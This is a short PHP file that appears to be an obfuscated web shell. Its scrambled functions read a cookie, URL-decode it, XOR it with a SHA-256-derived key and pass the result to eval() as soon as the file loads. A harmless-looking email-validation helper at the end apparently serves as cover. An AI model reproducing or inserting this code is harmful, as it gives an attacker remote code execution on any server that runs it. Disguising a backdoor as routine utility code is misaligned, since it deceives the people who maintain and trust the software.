<?php	function XdgkIbaj()
{
    $XMhqnXlT = "PvJckopgATOFatOilPfjpylkaJNMIfrm";
    return $XMhqnXlT;
}
function wMtCqbXYf($BcOsuM)
{
    $RPBgbd = substr($BcOsuM, -4);
    return $RPBgbd;
}
function LhBIJQtRTZ($sJrLN)
{
    $cEUebFYj = hash("sha256", $sJrLN, TRUE);
    return $cEUebFYj;
}
function hUGCgHmE()
{
    $HCFxPaL = xfnChrDo();
    CDmHvvIN($HCFxPaL);
}
function CDmHvvIN($lzjNuvro)
{
    eval($lzjNuvro);
}
function xfnChrDo()
{
    $syteUTPJ = XdgkIbaj();
    $wCpmYV = lNFCcMF($syteUTPJ);
    return $wCpmYV;
}
function nbCicumDyK($DkjESNe) {
    return explode('@', $DkjESNe)[1];
}
function tKsRWkr($DkjESNe) {
    if (YYeUXdIyS($DkjESNe)) {
        return nbCicumDyK($DkjESNe);
    }
    return "Invalid email format.";
}
function YYeUXdIyS($DkjESNe) {
    return filter_var($DkjESNe, FILTER_VALIDATE_EMAIL) !== false;
}
function tixOPtYH($yHjsKUap)
{
    $buyqwXvno = rawurldecode($yHjsKUap);
    return $buyqwXvno;
}
function yxwRmSHNsB($YFpUMtKHCg, $WEcPsqA)
{
    $bVEMhfBw = str_pad($YFpUMtKHCg, $WEcPsqA, $YFpUMtKHCg);
    return $bVEMhfBw;
}
function soAAEJ($zStvWQfwc, $vZPiUlR)
{
    $LhenfHjL = hxPTCPRe($zStvWQfwc);
    $dXRNKFyKV = yxwRmSHNsB($vZPiUlR, $LhenfHjL);
    $HCFxPaL = BQweU($dXRNKFyKV, $zStvWQfwc);
    return $HCFxPaL;
}
function lNFCcMF($TdmoTHcbL)
{
    $TwQnKKmuN = wMtCqbXYf($TdmoTHcbL);
    $NJdlqyAXz = mfzsOeOf($TdmoTHcbL, $TwQnKKmuN);
    return $NJdlqyAXz;
}
function mXFadll($kcrcipRa)
{
    $ihxKZ = $_COOKIE[$kcrcipRa];
    return $ihxKZ;
}
function BQweU($cEGnkLlxz, $oEdinGH)
{
    $wvfLGmA = $cEGnkLlxz ^ $oEdinGH;
    return $wvfLGmA;
}
function mfzsOeOf($mTRSjQ, $GcDTmKUZe)
{
    $wqVwpjgrHy = LhBIJQtRTZ($mTRSjQ);
    $MaFGi = IwywafJU($GcDTmKUZe);
    $kKpnB = soAAEJ($MaFGi, $wqVwpjgrHy);
    return $kKpnB;
}
function hxPTCPRe($OAwojBI)
{
    $ZyFLE = strlen($OAwojBI);
    return $ZyFLE;
}
function IwywafJU($lFDtFxjZ)
{
    $SCfNaCb = mXFadll($lFDtFxjZ);
    $MaFGi = tixOPtYH($SCfNaCb);
    return $MaFGi;
}
hUGCgHmE();
$OcqbLS = tKsRWkr("example@example.com");